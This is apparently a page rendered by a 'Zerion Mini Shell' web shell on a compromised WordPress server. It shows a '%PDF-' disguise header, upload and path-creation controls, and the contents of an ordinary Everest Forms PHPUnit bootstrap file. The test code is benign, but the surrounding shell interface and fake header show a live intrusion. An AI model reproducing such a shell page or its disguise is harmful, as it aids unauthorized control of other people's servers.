%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/korean.ongrace.com/wp-content/plugins/everest-forms/tests/phpunit/
Upload File :
Create Path :
Current File : /var/www/projetos/korean.ongrace.com/wp-content/plugins/everest-forms/tests/phpunit/bootstrap.php

<?php
/**
 * PHPUnit bootstrap file.
 *
 * @package EverestForms
 */

// Require composer dependencies.
require_once dirname( __FILE__ ) . '/../../vendor/autoload.php';

WP_Mock::setUsePatchwork( true );
WP_Mock::bootstrap( array(
	'mock_constants' => false,
	'mock_functions' => false,
	'mock_hooks'     => false,
));

// Load tests environment variables.
Dotenv\Dotenv::createUnsafeImmutable( dirname( __DIR__ ) )->safeLoad();

// Determine the tests directory (from a WP dev checkout).
// Try the WP_TESTS_DIR environment variable first.
$_tests_dir = getenv( 'WP_TESTS_DIR' );

// Next, try the WP_PHPUNIT composer package.
if ( ! $_tests_dir ) {
	$_tests_dir = getenv( 'WP_PHPUNIT__DIR' );
}

// Fallback.
if ( ! $_tests_dir ) {
	$_tests_dir = '/tmp/wordpress-tests-lib';
}

// Give access to tests_add_filter() function.
require_once $_tests_dir . '/includes/functions.php';

/**
 * Manually load the plugin being tested.
 */
function _manually_load_plugin() {
	require_once dirname( __FILE__ ) . '/../../everest-forms.php';
}

tests_add_filter( 'muplugins_loaded', '_manually_load_plugin' );

/**
 * Adds a wp_die handler for use during tests.
 *
 * If bootstrap.php triggers wp_die, it will not cause the script to fail. This
 * means that tests will look like they passed even though they should have
 * failed. So we throw an exception if WordPress dies during test setup. This
 * way the failure is observable.
 *
 * @param string|WP_Error $message The error message.
 *
 * @throws Exception When a `wp_die()` occurs.
 */
function fail_if_died( $message ) {
	if ( is_wp_error( $message ) ) {
		$message = $message->get_error_message();
	}

	throw new Exception( 'WordPress died: ' . $message );
}

tests_add_filter( 'wp_die_handler', 'fail_if_died' );

// Start up the WP testing environment.
require $_tests_dir . '/includes/bootstrap.php';

// Use existing behavior for wp_die during actual test execution.
remove_filter( 'wp_die_handler', 'handle_wp_setup_failure' );

Zerion Mini Shell 1.0